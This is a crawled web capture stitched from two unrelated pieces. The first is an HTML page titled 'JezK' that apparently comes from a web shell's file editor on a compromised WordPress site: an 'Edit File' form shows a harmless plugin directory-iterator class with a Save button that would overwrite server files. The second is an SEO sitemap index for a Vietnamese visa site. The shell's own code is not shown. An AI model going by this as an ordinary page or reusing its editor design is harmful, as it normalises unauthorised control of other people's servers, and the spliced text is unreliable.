
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>JezK</title>
<style>
    body {
        font-family: Arial, sans-serif;
        margin: 0;
        padding: 0;
    }
    #container {
        max-width: 800px;
        margin: 20px auto;
        padding: 20px;
        border: 1px solid #ccc;
        border-radius: 5px;
        background-color: #f9f9f9;
    }
    h1 {
        text-align: center;
        color: #333;
    }
    h2 {
        margin-top: 30px;
        color: #555;
    }
    ul {
        list-style-type: none;
        padding: 0;
    }
    li {
        margin-bottom: 10px;
    }
    a {
        text-decoration: none;
        color: #007bff;
    }
    a:hover {
        text-decoration: underline;
    }
    form {
        margin-top: 20px;
    }
    input[type="text"], input[type="file"], input[type="submit"] {
        margin-bottom: 10px;
    }
    hr {
        border: 0;
        height: 1px;
        background-color: #ccc;
        margin-top: 20px;
        margin-bottom: 20px;
    }
</style>
</head>
<body>
<div id="container">
    <h1>JezK</h1>
    <h2>Edit File: wfDirectoryIterator.php</h2><form method="post"><textarea name="file_content" rows="10" cols="50">&lt;?php

abstract class wfDirectoryIterator {

	abstract public function file($file);

	/**
	 * @var string
	 */
	private $directory;

	/**
	 * @var int
	 */
	private $directory_limit;
	
	
	private $directories_entered = array();
	private $directories_processed = array();

	/**
	 * @var callback
	 */
	private $callback;
	/**
	 * @var int
	 */
	private $max_iterations;
	private $iterations;

	/**
	 * @param string $directory
	 * @param int    $max_files_per_directory
	 * @param int    $max_iterations
	 */
	public function __construct($directory = ABSPATH, $max_files_per_directory = 20000, $max_iterations = 1000000) {
		$this-&gt;directory = $directory;
		$this-&gt;directory_limit = $max_files_per_directory;
		$this-&gt;max_iterations = $max_iterations;
	}

	public function run() {
		$this-&gt;iterations = 0;
		$this-&gt;scan($this-&gt;directory);
	}

	protected function scan($dir) {
		$dir = rtrim($dir, DIRECTORY_SEPARATOR);
		$handle = opendir($dir);
		$file_count = 0;
		while ($file = readdir($handle)) {
			if ($file == '.' || $file == '..') {
				continue;
			}
			$file_path = $dir . '/' . $file;
			$real_path = realpath($file_path);
			if (isset($this-&gt;directories_processed[$real_path]) || isset($this-&gt;directories_entered[$real_path])) { //Already processed or being processed, possibly a recursive symlink
				continue;
			}
			
			else if (is_dir($file_path)) {
				$this-&gt;directories_entered[$real_path] = 1;
				if ($this-&gt;scan($file_path) === false) {
					closedir($handle);
					return false;
				}
				$this-&gt;directories_processed[$real_path] = 1;
				unset($this-&gt;directories_entered[$real_path]);
			}
			else {
				if ($this-&gt;file($file_path) === false) {
					closedir($handle);
					return false;
				}
			}
			if (++$file_count &gt;= $this-&gt;directory_limit) {
				break;
			}
			if (++$this-&gt;iterations &gt;= $this-&gt;max_iterations) {
				closedir($handle);
				return false;
			}
		}
		closedir($handle);
		return true;
	}
}

</textarea><br><input type="submit" value="Save"></form></div>
</body>
</html>

<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet type="text/xsl" href="//visaglobal.com.vn/main-sitemap.xsl"?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
	<sitemap>
		<loc>https://visaglobal.com.vn/post-sitemap1.xml</loc>
		<lastmod>2026-08-28T06:51:31+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://visaglobal.com.vn/post-sitemap2.xml</loc>
		<lastmod>2026-08-27T04:35:16+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://visaglobal.com.vn/post-sitemap3.xml</loc>
		<lastmod>2026-08-27T04:24:40+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://visaglobal.com.vn/page-sitemap.xml</loc>
		<lastmod>2026-08-26T09:38:50+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://visaglobal.com.vn/category-sitemap.xml</loc>
		<lastmod>2026-08-28T06:51:31+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://visaglobal.com.vn/video-sitemap.xml</loc>
		<lastmod>2026-08-26T09:38:50+00:00</lastmod>
	</sitemap>
</sitemapindex>
<!-- XML Sitemap generated by Rank Math SEO Plugin (c) Rank Math - rankmath.com -->